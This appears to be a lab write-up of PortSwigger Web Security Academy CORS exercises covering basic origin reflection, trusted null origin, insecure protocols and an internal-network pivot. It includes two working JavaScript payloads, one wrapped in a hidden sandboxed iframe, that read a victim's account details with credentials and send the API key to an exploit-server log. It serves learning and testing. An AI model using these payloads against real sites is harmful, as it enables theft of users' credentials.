Lab: CORS vulnerability with basic origin reflection
Starting the lab “CORS vulnerability with basic origin reflection” , in the lab description it is specified that the lab has an insecure CORS configuration.To solve this lab we have to retrieve administrator’s API key.
Setting Origin header in the request , such as https://test.com then sending the request and found Access-Control-Allow-Origin header in the response.
Due to the misconfigured CORS policies on the website , a script can be created to makes a cross-origin request to the target website and retrieve administrator’s API key.
<script>
var req = new XMLHttpRequest();
var url = "https://0a2e006d033cd3b181ca985900980032.web-security-academy.net"
req.onreadystatechange = function() {
if (req.readyState == XMLHttpRequest.DONE){
fetch("/log?key=" + req.responseText)
}
}
req.open('GET', url + "/accountDetails", true);
req.withCredentials = true;
req.send(null)
</script>
Delivering this script to the victim and then accessing the log.
Lab: CORS vulnerability with trusted null origin
Starting the second lab “CORS vulnerability with trusted null origin”. Just like the fist lab our objective remain the same to retrieve Administrator’s API key.
When setting Origin header to a specific URL but not receiving the Access-Control-Allow-Origin header in the response.
Setting Origin header to null in the request then , we observe the presence of Access-Control-Allow-Origin header in the response.
<iframe style="display: none;" sandbox="allow-scripts" srcdoc="
<script>
var req = new XMLHttpRequest();
var url = 'https://0afc003c0370951481530238001700c4.web-security-academy.net'
req.onreadystatechange = function() {
if (req.readyState == XMLHttpRequest.DONE){
fetch('https://exploit-0a08003e03a595cd81600195011000b5.exploit-server.net/exploit/log?key=' + req.responseText)
}
}
req.open('GET', url + '/accountDetails', true);
req.withCredentials = true;
req.send(null);
</script>"></iframe>
The <iframe> tag is used in this context to create an invisible container within the web page where the script can execute without being visible to the user.
Lab: CORS vulnerability with trusted insecure protocols
Starting the third lab “CORS vulnerability with trusted insecure protocols”. Just like the fist and lab our objective remain the same to retrieve Administrator’s API key.
When setting Origin header to a specific URL as well as to null but not receiving the Access-Control-Allow-Origin header in the response.
Lab: CORS vulnerability with internal network pivot attack
The last lab “CORS vulnerability with internal network pivot attack”. In the lab description it is specified the task of discovering an endpoint on the local network (192.168.0.0/24, port 8080)and then delete user ‘Carlos’.
Using the collaborator in the java script to gather data without being noticed.